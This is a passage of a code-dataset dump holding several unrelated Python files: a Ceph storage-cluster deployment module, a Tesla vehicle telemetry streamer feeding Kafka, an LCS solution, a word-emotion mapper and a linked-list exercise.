cluster_config.get_cluster_info()\n\n config_api = ConfigAPI()\n mon_hosts_backend_ip = []\n remote_mons_management_ips =[]\n\n for i in current_cluster_info.management_nodes:\n node_info = NodeInfo()\n node_info.load_json(json.dumps(i))\n mon_hosts_backend_ip.append(node_info.backend_1_ip)\n if current_node_name != node_info.name:\n remote_mons_management_ips.append(node_info.management_ip)\n\n if not os.path.exists(config_api.get_cluster_ceph_dir_path()):\n os.makedirs(os.path.dirname(config_api.get_cluster_ceph_dir_path()))\n\n with open(config_api.get_cluster_ceph_dir_path() + \"{}.conf\".format(cluster_name), 'w', ) as f:\n f.write(content.format(fsid=_fsid,\n public_network=str(current_cluster_info.backend_1_base_ip) + \"/\" + __get_net_size(\n str(current_cluster_info.backend_1_mask)),\n cluster_network=str(current_cluster_info.backend_2_base_ip) + \"/\" + __get_net_size(\n str(current_cluster_info.backend_2_mask)),\n mon_initial=cluster_config.get_node_name(),\n mon_host=cluster_config.get_node_info().backend_1_ip+ ','+','.join(mon_hosts_backend_ip)\n )+cluster_config.get_ceph_tunings() + \"\\n\"\n )\n\n if not call_cmd(\"ceph-authtool --create-keyring /tmp/{} --gen-key -n mon. --cap mon 'allow *'\".format(\n ceph_mon_keyring)) :\n logger.error(\"ceph-authtool --create-keyring for mon returned error\")\n status.success = False\n\n # elif not call_cmd(\"\".join([\"ceph-authtool --create-keyring {}\".format(ceph_client_admin_keyring),\n # \" --gen-key -n client.admin --set-uid=0 --cap mon 'allow *' --cap osd 'allow *' --cap mds 'allow'\"])) :\n # Nautilius remove --set-uid=0\n\n elif not call_cmd(\"\".join([\"ceph-authtool --create-keyring {}\".format(ceph_client_admin_keyring),\n \" --gen-key -n client.admin --cap mon 'allow *' --cap osd 'allow *' --cap mds 'allow'\"])) :\n logger.error(\"ceph-authtool --create-keyring for admin returned error\")\n status.success = False\n\n elif not call_cmd(\"ceph-authtool /tmp/{} --import-keyring {}\".format(ceph_mon_keyring,ceph_client_admin_keyring)) :\n logger.error(\"ceph-authtool --import-keyring returned error\")\n status.success = False\n\n elif not call_cmd(\"monmaptool --create --add {} {} --fsid {} /tmp/monmap\".format(cluster_config.get_node_name(),cluster_config.get_node_info().backend_1_ip,_fsid)) :\n logger.error(\"monmaptool --create --add returned error\")\n status.success = False\n\n if not os.path.exists(\"/var/lib/ceph/mon/{}-{}\".format(cluster_name, current_node_name)):\n os.makedirs(\"/var/lib/ceph/mon/{}-{}\".format(cluster_name, current_node_name))\n\n if not status.success or not call_cmd(\"ceph-mon --cluster {} --mkfs -i {} --monmap /tmp/monmap --keyring /tmp/{}\".format(cluster_name,current_node_name,ceph_mon_keyring)) :\n logger.error(\"ceph-mon --mkfs --add returned error\")\n status.success = False\n\n open(\"/var/lib/ceph/mon/{}-{}/done\".format(cluster_name, current_node_name), 'w+').close()\n open(\"/var/lib/ceph/mon/{}-{}/systemd\".format(cluster_name, current_node_name), 'w+').close()\n\n call_cmd(\"chown -R ceph:ceph /var/lib/ceph/mon\")\n\n call_cmd(\"systemctl enable ceph.target \")\n call_cmd(\"systemctl enable ceph-mon.target \")\n call_cmd(\"systemctl enable ceph-mon@{} \".format(current_node_name))\n if not status.success or not call_cmd(\"systemctl start ceph-mon@{} \".format(current_node_name)):\n status.success = False\n\n if not status.success:\n status.failed_tasks.append(\"Create ceph mon on {} returned error.\".format(current_node_name))\n return status\n\n logger.info(\"First monitor started successfully\")\n\n # create local manager :\n call_cmd('/opt/petasan/scripts/create_mgr.py')\n\n logger.info(\"Starting to deploy remote monitors\")\n\n # call_cmd(\"ceph-create-keys --cluster {} -i {} \".format(cluster_name,current_node_name))\n # Nautilius copy bootstrap-osd ourselves\n if not os.path.exists(\"/var/lib/ceph/bootstrap-osd/\"):\n os.makedirs(\"/var/lib/ceph/bootstrap-osd/\")\n call_cmd('ceph auth get client.bootstrap-osd > /var/lib/ceph/bootstrap-osd/ceph.keyring')\n\n for remote_mon in remote_mons_management_ips:\n ssh_obj = ssh()\n if not ssh_obj.copy_file_to_host(remote_mon,\"{}\".format(ceph_client_admin_keyring)):\n logger.error(\"Cannot copy {} to {}\".format(ceph_client_admin_keyring,remote_mon))\n status.success = False\n elif not ssh_obj.copy_file_to_host(remote_mon,\"/etc/ceph/{}.conf\".format(cluster_name)):\n logger.error(\"Cannot copy ceph.conf to {}\".format(remote_mon))\n status.success = False\n elif not ssh_obj.call_command(remote_mon,\" python {} \".format(config_api.get_node_create_mon_script_path())):\n logger.error(\"Cannot create monitor on remote node {}\".format(remote_mon))\n status.success = False\n\n # Nautilius copy bootstrap-osd ourselves :\n elif not ssh_obj.call_command(remote_mon, 'mkdir -p /var/lib/ceph/bootstrap-osd'):\n logger.error(\"Cannot create bootstrap-osd dir on remote node {}\".format(remote_mon))\n status.success = False\n elif not ssh_obj.copy_file_to_host(remote_mon, '/var/lib/ceph/bootstrap-osd/ceph.keyring'):\n logger.error(\"Cannot copy bootstrap-osd keyring to {}\".format(remote_mon))\n status.success = False\n\n if not status.success:\n status.failed_tasks.append(\"core_cluster_deploy_monitor_create_err\" + \"%\" + remote_mon)\n return status\n if not __test_mons():\n status.success = False\n status.failed_tasks.append(\"core_cluster_deploy_monitors_down_err\")\n return status\n\n # Nautilius enable msgr2 :\n call_cmd('ceph mon enable-msgr2')\n\n except Exception as ex:\n status.success = False\n logger.exception(ex.message)\n status.failed_tasks.append(\"core_cluster_deploy_monitor_exception_occurred\" + \"%\" + current_node_name)\n return status\n\n status.success = True\n return status\n\n\ndef mon_status_check():\n cluster_name = configuration().get_cluster_name()\n out, err = exec_command('ceph --cluster {} quorum_status '.format(cluster_name))\n for line in err:\n logger.error(line)\n\n try:\n return json.loads(''.join(out))\n except ValueError:\n return {}\n\n\ndef __test_mons():\n sleeps = [15, 15, 10, 10, 5, 5]\n tries = 5\n mon_in_quorum = []\n mon_members = []\n\n cluster_conf = configuration()\n current_cluster_info = cluster_conf.get_cluster_info()\n\n for i in current_cluster_info.management_nodes:\n node_info = NodeInfo()\n node_info.load_json(json.dumps(i))\n mon_members.append(node_info.name)\n\n for host in mon_members:\n while tries:\n status = mon_status_check()\n has_reached_quorum = host in status.get('quorum_names', '')\n\n if not has_reached_quorum:\n tries -= 1\n sleep_seconds = sleeps.pop()\n logger.warning('Waiting %s seconds before retrying', sleep_seconds)\n time.sleep(sleep_seconds)\n else:\n mon_in_quorum.append(host)\n break\n\n if mon_in_quorum == mon_members:\n logger.info(\"Ceph monitors are ready.\")\n return True\n\n else:\n logger.info(\"Ceph monitors are not ready.\")\n return False\n\n\ndef build_osds():\n cluster_conf = configuration()\n current_node_info = cluster_conf.get_node_info()\n current_node_name = current_node_info.name\n remote_mons_ips = __get_remote_mons_ips(current_node_name)\n\n logger.info(\"Start deploying ceph OSDs.\")\n status_local = create_osds_local()\n if not status_local.success:\n return status_local\n\n status_remote = create_osds_remote(remote_mons_ips)\n if not status_remote.success:\n return status_remote\n\n status_local.failed_tasks.extend(status_remote.failed_tasks)\n return status_local\n\n\ndef create_osds_local():\n config_api = ConfigAPI()\n status = StatusReport()\n out, err = exec_command(\" python {} \".format(config_api.get_node_create_osd_script_path()))\n status.load_json(str(out.split(\"/report/\")[1]))\n\n if os.path.exists(config_api.get_node_pre_config_disks()):\n os.remove(config_api.get_node_pre_config_disks())\n\n return status\n\n\ndef create_osds_remote(remote_mons_ips_ls):\n config_api = ConfigAPI()\n remote_status = StatusReport()\n for remot_mon in remote_mons_ips_ls:\n ssh_obj = ssh()\n status = StatusReport()\n\n out, err = ssh_obj.exec_command(remot_mon, \" python {} \".format(config_api.get_node_create_osd_script_path()))\n\n logger.info(\" \" .join([remot_mon, out]))\n\n if \"/report/\" in out: # To avoid -- IndexError: list index out of range\n status.load_json(str(out.split(\"/report/\")[1]))\n else:\n if err:\n status.load_json(\"Status Report Error , error : {}\".format(str(err)))\n else:\n status.load_json(\"Connection Error.\")\n\n remote_status.failed_tasks.extend(status.failed_tasks)\n\n if not status.success:\n logger.error(\"Cannot create osd for remote node {}\".format(remot_mon))\n remote_status.success = False\n return remote_status\n\n return remote_status\n\n\ndef __get_remote_mons_ips(current_node_name):\n\n current_cluster_info = configuration().get_cluster_info()\n remote_mons_ips = []\n for i in current_cluster_info.management_nodes:\n node_info = NodeInfo()\n node_info.load_json(json.dumps(i))\n if current_node_name != node_info.name:\n remote_mons_ips.append(node_info.management_ip)\n return remote_mons_ips\n\n\ndef create_rbd_pool():\n cluster_name = configuration().get_cluster_name()\n if not call_cmd(\"ceph --cluster {} osd pool delete rbd rbd --yes-i-really-really-mean-it \".format(cluster_name)):\n return False\n\n if not call_cmd(\"ceph --cluster {} osd pool create rbd 0 \".format(cluster_name)):\n return False\n\n # Nautilius rbd init seems to hang if pool is not active, use application enable instead\n # call_cmd(\"rbd pool init rbd\")\n call_cmd(\"ceph osd pool application enable rbd rbd\")\n\n return True\n\n\ndef create_ec_profiles():\n cluster_name = configuration().get_cluster_name()\n\n if not call_cmd('ceph osd erasure-code-profile set ec-21-profile k=2 m=1 --cluster {}'.format(cluster_name)):\n return False\n if not call_cmd('ceph osd erasure-code-profile set ec-32-profile k=3 m=2 --cluster {}'.format(cluster_name)):\n return False\n if not call_cmd('ceph osd erasure-code-profile set ec-42-profile k=4 m=2 --cluster {}'.format(cluster_name)):\n return False\n\n if not call_cmd('ceph osd erasure-code-profile set ec-62-profile k=6 m=2 --cluster {}'.format(cluster_name)):\n return False\n if not call_cmd('ceph osd erasure-code-profile set ec-63-profile k=6 m=3 --cluster {}'.format(cluster_name)):\n return False\n\n return True\n\n\ndef clean_ceph():\n cluster_conf = configuration()\n current_node_info=cluster_conf.get_node_info()\n current_node_name = current_node_info.name\n remote_mons_ips = cluster_conf.get_remote_ips(current_node_name)\n\n logger.info(\"Starting clean_ceph\")\n clean_ceph_local()\n clean_ceph_remote(remote_mons_ips)\n\n\ndef clean_ceph_local():\n config_api = ConfigAPI()\n call_cmd(\" python {} \".format(config_api.get_node_clean_script_path()))\n\n\ndef clean_ceph_remote(ips):\n config_api = ConfigAPI()\n for remot_node in ips:\n ssh_obj = ssh()\n ssh_obj.call_command(remot_node, \" python {} \".format(config_api.get_node_clean_script_path()))\n\n\ndef test_active_clean():\n cluster_name = configuration().get_cluster_name()\n sleeps = [10, 15, 20, 25, 30, 40]\n tries = 5\n\n while tries:\n ceph_api = CephAPI()\n active_pools = ceph_api.get_active_pools()\n if 'rbd' in active_pools:\n logger.info('rbd pool is active')\n break\n tries -= 1\n sleep_seconds = sleeps.pop()\n logger.warning('waiting %s seconds before retrying to check rbd pool status', sleep_seconds)\n time.sleep(sleep_seconds)\n \n\ndef test_active_clean_old():\n cluster_name = configuration().get_cluster_name()\n sleeps = [10, 15, 20, 25, 30, 40]\n tries = 5\n\n while tries:\n status = False\n try:\n out, err = exec_command(\"ceph --cluster {} -f json pg stat\".format(cluster_name))\n ceph_pg_stat = str(out).replace(\"'\", '')\n ceph_pg_stat = json.loads(ceph_pg_stat)\n logger.info(\"Ceph status is \" + ceph_pg_stat['num_pg_by_state'][0]['name'])\n\n if str(ceph_pg_stat['num_pg_by_state'][0]['name']) == 'active+clean':\n status = True\n else:\n status = False\n except Exception as e:\n logger.error(\"Get ceph status returned error.\\n\" + e.message)\n\n if not status:\n tries -= 1\n sleep_seconds = sleeps.pop()\n logger.warning('waiting %s seconds before retrying to check active+clean status', sleep_seconds)\n time.sleep(sleep_seconds)\n else:\n # Nautilius call pool init when active :\n call_cmd('rbd pool init rbd')\n break\n\n\ndef copy_ceph_config_from_mon():\n cluster_config = configuration()\n cluster_name = cluster_config.get_cluster_name()\n ceph_mon_keyring = ConfigAPI().get_ceph_mon_keyring(cluster_name)\n ceph_client_admin_keyring = ConfigAPI().get_ceph_keyring_path(cluster_name)\n remot_mon_ip = cluster_config.get_remote_ips(cluster_config.get_node_info().name)[0]\n status = StatusReport()\n ssh_obj = ssh()\n config_api = ConfigAPI()\n if not os.path.exists(config_api.get_cluster_ceph_dir_path()):\n os.makedirs(config_api.get_cluster_ceph_dir_path(), exist_ok=True)\n\n if not os.path.exists(\"/var/lib/ceph/bootstrap-osd/\"):\n os.makedirs(\"/var/lib/ceph/bootstrap-osd/\")\n\n if not ssh_obj.copy_file_from_host(remot_mon_ip, \"{}\".format(ceph_client_admin_keyring)):\n logger.error(\"Cannot copy {} from {}\".format(ceph_client_admin_keyring, remot_mon_ip))\n status.success = False\n elif not ssh_obj.copy_file_from_host(remot_mon_ip, \"/etc/ceph/{}.conf\".format(cluster_name)):\n logger.error(\"Cannot copy ceph.conf from {}\".format(remot_mon_ip))\n status.success = False\n elif not ssh_obj.copy_file_from_host(remot_mon_ip, \"/var/lib/ceph/bootstrap-osd/{}.keyring\".format(cluster_name)):\n logger.error(\"Cannot copy ceph.keyring from {}\".format(remot_mon_ip))\n status.success = False\n return status\n\n\ndef replace_local_monitor():\n status = copy_ceph_config_from_mon()\n config_api = ConfigAPI()\n if status.success:\n if not call_cmd(\" python {} \".format(config_api.get_node_create_mon_script_path())):\n logger.error(\"Cannot replace monitor\")\n status.success = False\n status.failed_tasks.append(\"core_cluster_replace_monitor_error\")\n else:\n status.failed_tasks.append(\"core_cluster_replace_monitor_copy_error\")\n\n return status\n\n\n","repo_name":"robertoberto/petasan","sub_path":"storage-appliance/usr/lib/python2.7/dist-packages/PetaSAN/core/ceph/deploy/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":17124,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"9597011475","text":"import sys\nsys.stdin = open('input.txt')\n\n# a c a y k p\n# c 0 1 0 0 0 0\n# a 1 1 2 0 0 0\n# p 1 1 2 0 0 3\n# c 1 2 2 0 0 3\n# a 1 2 3 0 0 3\n# k 1 2 3 0 4 3\n\nword1, word2 = input(), input()\ncache = [0]*(len(word1))\n\nfor i in range(len(word2)):\n cnt = 0\n for j in range(len(word1)):\n if cnt < cache[j]:\n cnt = cache[j]\n elif word1[j] == word2[i]:\n cache[j] = cnt + 1\nprint(max(cache))","repo_name":"dw3624/algorithm_practice","sub_path":"백준/9251_LCS/s2.py","file_name":"s2.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70997386010","text":"#!/usr/bin/python3\n\nimport json\nimport os\nimport sys\nimport time\nimport requests\nimport pprint\nfrom collections import OrderedDict\n\nimport confluent_kafka\nfrom confluent_kafka import Producer, KafkaError, version, libversion\nimport random\n\n\ntry:\n token_file = os.environ[\"APP_TESLA_TOKEN_FILE\"].replace('\"', '')\nexcept:\n print(\"You must provide a APP_TESLA_TOKEN_FILE location that is writable\")\n sys.exit(1)\n\ntry:\n creds_file = os.environ[\"APP_TESLA_CREDS_FILE\"].replace('\"', '')\nexcept:\n print(\"You must provide a APP_TESLA_CREDS_FILE that contains your Tesla authentication\")\n sys.exit(1)\n\ntry:\n carname = os.environ[\"APP_TESLA_CARNAME\"].replace('\"', '')\nexcept:\n print(\"You must provide a APP_TESLA_CARNAME for us to work with\")\n sys.exit(1)\n\ntry:\n refresh_secs = int(os.environ[\"APP_TESLA_REFRESH_SECS\"].replace('\"', ''))\nexcept:\n print(\"APP_TESLA_REFRESH_SECS has not been set, using a default of: 50000\")\n refresh_secs = 50000\n\ntry:\n data_secs = int(os.environ[\"APP_TESLA_FULL_DATA_SECS\"].replace('\"', ''))\nexcept:\n print(\"Full data refresh interval not provided, using default of 120 seconds\")\n data_secs = 120\n\ntry:\n http_timeout = int(os.environ[\"APP_TESLA_HTTP_TIMEOUT_SECS\"].replace('\"', ''))\nexcept:\n print(\"Tesla HTTP timeout not provided, setting to 30 second default\")\n http_timeout = 30\n\ntry:\n stdout_interval = int(os.environ[\"APP_TESLA_STDOUT_INTERVAL\"].replace('\"', ''))\nexcept:\n print(\"Tesla STDOUT_INTERVAL not provided, defauling to 30 minutes (1800 secs)\")\n stdout_interval = 1800\n\nlast_data = 0\n\ndef main():\n\n print(\"Confluent Kafka Version: %s - Libversion: %s\" % (version(), libversion()))\n topic_full = os.environ[\"MAPR_STREAMS_STREAM_LOCATION\"].replace('\"', '') + \":\" + os.environ[\"MAPR_STREAMS_TESLA_FULL_TOPIC\"].replace('\"', '')\n topic_stream = os.environ[\"MAPR_STREAMS_STREAM_LOCATION\"].replace('\"', '') + \":\" + os.environ[\"MAPR_STREAMS_TESLA_STREAM_TOPIC\"].replace('\"', '')\n\n print(\"Producing full messages to: %s\" % topic_full)\n print(\"Producing stream messages to: %s\" % topic_stream)\n p = Producer({'bootstrap.servers': ''})\n\n # Listen for messages\n running = True\n lastflush = 0\n\n app_auth = getAppAuth()\n token = loadToken(app_auth)\n vehicles = loadVehicleInfo(token)\n vehicle = None\n for v in vehicles['response']:\n if v['display_name'] == carname:\n vehicle = v\n break\n if vehicle is None:\n print(\"Could not find %s in vehicle list\" % carname)\n sys.exit(1)\n\n all_data = loadData(token, vehicle['id'])['response']\n\n stream_items = ['speed', 'odometer', 'soc', 'elevation', 'est_heading', 'est_lat', 'est_lng', 'power', 'shift_state', 'native_type', 'heading', 'native_latitude', 'native_longitude']\n stream_string = \",\".join(stream_items)\n\n output_items = ['timestamp'] + stream_items\n stream_url = \"https://streaming.vn.teslamotors.com/stream/%s/?values=%s\" % (vehicle['vehicle_id'], stream_string)\n\n\n tokenidx = 0\n last_stream_line = \"\"\n last_all_data = False\n\n while running:\n curtime = int(time.time())\n if curtime - last_data > data_secs:\n try:\n all_data = loadData(token, vehicle['id'])['response']\n if all_data is None:\n last_all_data = False\n print(\"%s - all_data is None, going to slowly try to refresh this to correct\" % curtime)\n while all_data is None:\n all_data = loadData(token, vehicle['id'])['response']\n if all_data is None:\n sleep(5)\n else:\n if last_all_data == False:\n print(\"%s - all_data success on new start or after previous failure\" % curtime)\n last_all_data = True\n produceMessage(p, topic_full, json.dumps(all_data))\n if curtime % stdout_interval == 0:\n print(\"%s - logging at stdout interval - success\" % curtime)\n except:\n print(\"%s - All Data load failure\" % curtime)\n try:\n stream_resp = requests.get(stream_url, auth=(token['uname'], all_data['tokens'][tokenidx]), stream=True, timeout=http_timeout)\n \n for line in stream_resp.iter_lines():\n curtime = int(time.time())\n if line:\n decoded_line = line.decode('utf-8')\n if decoded_line.find(\"Can't validate password\") >= 0:\n all_data = loadData(token, vehicle['id'])['response']\n print(\"%s - Bad password - Refreshing Tokens\" % curtime)\n time.sleep(2)\n elif last_stream_line != decoded_line:\n dline = decoded_line.split(\",\")\n myrec = OrderedDict(zip(output_items, dline))\n produceMessage(p, topic_stream, json.dumps(myrec))\n if curtime % stdout_interval == 0:\n print(\"%s - Streaming well - success on stdout_interval\" % curtime)\n myrec = None\n last_stream_line = decoded_line\n if int(time.time()) - last_data > data_secs:\n try:\n all_data = loadData(token, vehicle['id'])['response']\n last_all_data = True\n produceMessage(p, topic_full, json.dumps(all_data))\n except:\n last_all_data = False\n break\n except requests.exceptions.ConnectionError:\n pass\n except:\n pass\n\n\n\ndef produceMessage(p, topic, message_json):\n \n try:\n p.produce(topic, value=message_json, callback=delivery_callback)\n p.poll(0)\n except BufferError as e:\n print(\"Buffer full, waiting for free space on the queue\")\n p.poll(10)\n p.produce(topic, value=message_json,callback=delivery_callback)\n except KeyboardInterrupt:\n print(\"\\n\\nExiting per User Request\")\n p.close()\n sys.exit(0)\n\ndef delivery_callback(err, msg):\n \"\"\" Called once for each message produced to indicate delivery result.\n Triggered by poll() or flush(). \"\"\"\n if err is not None:\n print('Message delivery failed to %s failed: %s' % (msg.topic(), err))\n else:\n pass\n\ndef getAppAuth():\n resp = requests.get('https://pastebin.com/raw/YiLPDggh')\n raw = str(resp.text)\n client_data = json.loads('{' + raw.rstrip(',') + '}')\n return client_data\n\ndef getToken(app_auth, uname, pword):\n rdata = {}\n rdata['client_id'] = app_auth['OWNERAPI_CLIENT_ID']\n rdata['client_secret'] = app_auth['OWNERAPI_CLIENT_SECRET']\n rdata['grant_type'] = 'password'\n rdata['email'] = uname\n rdata['password'] = pword\n\n resp = requests.post(\"https://owner-api.teslamotors.com/oauth/token\", data=rdata)\n try:\n newtoken = json.loads(resp.text)\n except:\n print(\"no worikie\")\n print(resp.text)\n sys.exit(1)\n newtoken['uname'] = uname\n writeToken(newtoken, token_file)\n return newtoken\n\ndef refreshToken(app_auth, token):\n rdata = {}\n rdata['client_id'] = app_auth['OWNERAPI_CLIENT_ID']\n rdata['client_secret'] = app_auth['OWNERAPI_CLIENT_SECRET']\n rdata['grant_type'] = 'refresh_token'\n rdata['refresh_token'] = token['refresh_token']\n\n resp = requests.post(\"https://owner-api.teslamotors.com/oauth/token\", data=rdata)\n\n newtoken = json.loads(resp.text)\n newtoken['uname'] = token['uname']\n writeToken(newtoken, token_file)\n return newtoken\n\ndef loadCredsorToken(opfile):\n o = open(opfile, 'r')\n u = o.read()\n o.close\n creds = json.loads(u)\n return creds\n\ndef writeToken(token, token_file):\n\n o = open(token_file, 'w')\n o.write(json.dumps(token))\n o.close()\n os.chmod(token_file, 0o660)\n print(\"Token written\")\n\n\ndef checkRefresh(app_auth, token):\n curtime = int(time.time())\n token_exp_time = token['created_at'] + token['expires_in']\n remaining_time = token_exp_time - curtime\n print(\"Token Created: %s - Token expires: %s - Cur Time: %s - Diff: %s\" % (token['created_at'], token_exp_time, curtime, remaining_time))\n if remaining_time <= 0:\n print(\"Token Expired, Creating new token\")\n os.remove(token_file)\n token = loadToken(app_auth)\n elif remaining_time < refresh_secs:\n print(\"Remaining time of %s is less than refresh interval of %s seconds: refreshing token\" % (remaining_time, refresh_secs))\n mytoken = refreshToken(app_auth, token)\n else:\n mytoken = token\n return mytoken\n\ndef loadToken(app_auth):\n if os.path.isfile(token_file):\n print(\"Token found - loading\")\n token = loadCredsorToken(token_file)\n token = checkRefresh(app_auth, token)\n else:\n print(\"Token not found, trying creds file at %s\" % creds_file)\n if os.path.isfile(creds_file):\n creds = loadCredsorToken(creds_file)\n token = getToken(app_auth, creds['uname'], creds['pword'])\n creds = \"\"\n else:\n print(\"No token_file at %s or creds_file at %s found - Exiting\" % (token_file, creds_file))\n sys.exit(1)\n return token\n\n\n\n\ndef apiRequest(url, token):\n headers = {}\n headers['Authorization'] = \"Bearer %s\" % token['access_token']\n resp = requests.get(url, headers=headers)\n return json.loads(resp.text, object_pairs_hook=OrderedDict)\n\n\ndef loadVehicleInfo(token):\n return apiRequest(\"https://owner-api.teslamotors.com/api/1/vehicles\", token)\n\ndef loadVehicleState(token, vehicle_id):\n return apiRequest(\"https://owner-api.teslamotors.com/api/1/vehicles/%s/data_request/vehicle_state\" % vehicle_id, token)\n\ndef loadChargeState(token, vehicle_id):\n return apiRequest(\"https://owner-api.teslamotors.com/api/1/vehicles/%s/data_request/charge_state\" % vehicle_id, token)\n\ndef loadData(token, vehicle_id):\n global last_data\n last_data = int(time.time())\n return apiRequest(\"https://owner-api.teslamotors.com/api/1/vehicles/%s/data\" % vehicle_id, token)\n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"JohnOmernik/maprtesla","sub_path":"code/tesla.py","file_name":"tesla.py","file_ext":"py","file_size_in_byte":10347,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"1615926729","text":"#from nltk.corpus import wordnet as wn\nimport sys\nimport pickle\nimport save_load_obj as slo\n\n\n\ndef what_tense(word):\n\tif word != \"\":\n\t\tif word[-1]== 'g' and word[-2] == 'n' and word[-3] == 'i':\n\t\t\treturn \"present-perfect\"\n\t\telif word[-1]== 'd' and word[-2] == 'e':\n\t\t\treturn \"past\"\n\t\telse:\n\t\t\treturn \"present\"\n\ndef past2present(word):\n\tsrr = \"\"\n\tfor w in xrange(0,len(word)-2):\n\t\tsrr += word[w]\n\treturn [srr, srr + 'e']\n\ndef past2present_perf(word):\n\tsrr = \"\"\n\tfor w in xrange(0,len(word)-2):\n\t\tsrr += word[w]\n\treturn [srr + \"ing\"]\n\ndef present2past(word):\n\tsrr = word\n\treturn [srr + \"ed\"]\n\ndef present2present_perf(word):\n\tsrr = word\n\treturn [srr + \"ing\"]\n\ndef present_perf2present(word):\n\tsrr = \"\"\n\tfor w in xrange(0,len(word)-3):\n\t\tsrr += word[w]\n\treturn [srr]\n\ndef present_perf2past(word):\n\tsrr = \"\"\n\tfor w in xrange(0,len(word)-3):\n\t\tsrr += word[w]\n\treturn [srr + \"ed\"]\t\n\ndef open_article(file):\n\tfh = open(file, \"r\")\n\tstring = \"\"\n\tfor line in fh.readlines():\n\t\tstring += line\n\treturn string\n\ndef remove_punct(string):\n\tsrr = \"\"\n\tfor x in xrange(0, len(string)):\n\t\tif string[x] == \",\" or string[x] == \"\\\"\" or string[x] == \".\":\n\t\t\tsrr += \" \"\n\t\telif string[x] == '\\xe2'or string[x] == '\\x80' or string[x] =='\\x9c' or string[x] == '\\x9d':\n\t\t\tsrr += \"\"\n\t\telse:\n\t\t\tsrr += string[x]\n\treturn srr\n\ndef map_words():\n\n\t# Load word : synonym dictionary\n\twords = dict()\n\twords = slo.load_obj(\"obj/rel_words2\")\n\n\tstring = open_article(\"txt/article.txt\")\n\tstring = remove_punct(string)\n\n\tfrequency = {}\n\n\t# Attemps to map each word in text to a word in the words dictionary\n\tfor word_s in string.split(\" \"):\n\t\tword_list = []\n\t\tword_list.append(word_s)\n\t\tfor word in word_list:\n\t\t\t\n\t\t\tif word != 'still':\n\t\t\t\tword = word.lower()\n\n\t\t\t\tfor emotion in words:\n\t\t\t\t\t# if word equals emotion then it found an exact match of an emotion\n\t\t\t\t\t# we were looking for so it adds it to frequency and gives it a weight\n\t\t\t\t\t# of 3 (the highest because it was an excact match)\n\t\t\t\t\tif word == emotion:\n\t\t\t\t\t\tif frequency.has_key(emotion):\n\t\t\t\t\t\t\tfrequency[emotion][\"rw\"].append(word)\n\t\t\t\t\t\t\tfrequency[emotion][\"weight\"] += 3\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tfrequency[emotion] = dict()\n\t\t\t\t\t\t\tfrequency[emotion][\"rw\"] = [word]\n\t\t\t\t\t\t\tfrequency[emotion][\"weight\"] = 0\n\t\t\t\t\t\t\tfrequency[emotion][\"weight\"] += 3\n\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t# word found is a synonym of the emotion we are looking for\t\t\n\t\t\t\t\tif words[emotion].has_key(word):\n\t\t\t\t\t\tif frequency.has_key(emotion):\n\t\t\t\t\t\t\tfrequency[emotion][\"rw\"].append(word)\n\t\t\t\t\t\t\tfrequency[emotion][\"weight\"] += 2\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tfrequency[emotion] = dict()\n\t\t\t\t\t\t\tfrequency[emotion][\"rw\"] = [word]\n\t\t\t\t\t\t\tfrequency[emotion][\"weight\"] = 0\n\t\t\t\t\t\t\tfrequency[emotion][\"weight\"] += 2\n\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\tfor s in words[emotion]:\n\t\t\t\t\t\t# word found is a synonym of a synononym of the emotion we are looking for\t\n\t\t\t\t\t\tif words[emotion][s].has_key(word):\n\t\t\t\t\t\t\tif frequency.has_key(emotion):\n\t\t\t\t\t\t\t\tfrequency[emotion][\"rw\"].append(word)\n\t\t\t\t\t\t\t\tfrequency[emotion][\"weight\"] += 1\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tfrequency[emotion] = dict()\n\t\t\t\t\t\t\t\tfrequency[emotion][\"rw\"] = [word]\n\t\t\t\t\t\t\t\tfrequency[emotion][\"weight\"] = 0\n\t\t\t\t\t\t\t\tfrequency[emotion][\"weight\"] += 1\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\n\t# Which emotional word has the most hits\n\tmax = 0\n\ttop_hit = \"\"\n\tfor emotion in frequency:\n\t\tif frequency[emotion]['weight'] >= max:\n\t\t\ttop_hit = emotion\n\t\t\tmax = frequency[emotion]['weight']\n\n\temotion_list = list()\n\n\tif len(frequency) == 0:\n\t\treturn top_hit, frequency, []\n\t\tpass\n\telse:\n\t\t# emotion_list contains the emotions that were found with the highest weight first\n\t\temotion_list = (sorted(frequency, key=lambda k: frequency[k]['weight'], reverse=True))\n\t\treturn top_hit, frequency, emotion_list\n\n\nif __name__ == '__main__': \n map_words()\n\n","repo_name":"arturitov/color_my_words","sub_path":"words.py","file_name":"words.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10374477958","text":"\"\"\"\nLeetcode: https://leetcode.com/problems/delete-node-in-a-linked-list/\nDate: 12-Oct-2022\nAuthor: Ankur Jat (https://www.linkedin.com/in/ankur-jat-41355674/)\n\"\"\"\n\n\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n def deleteNode(self, node):\n \"\"\"\n :type node: ListNode\n :rtype: void Do not return anything, modify node in-place instead.\n \"\"\"\n while node.next:\n node.val = node.next.val\n if not node.next.next:\n node.next = None\n else:\n node = node.next\n\n\ndef test():\n l1 = ListNode(2)\n l1.next = ListNode(4)\n l1.next.next = ListNode(3)\n solution = Solution()\n solution.deleteNode(l1.next)\n assert l1.next.val == 3, \"wrong deletion\"\n assert l1.next.next == None, \"wrong pointer\"\n\n\nif __name__ == \"__main__\":\n 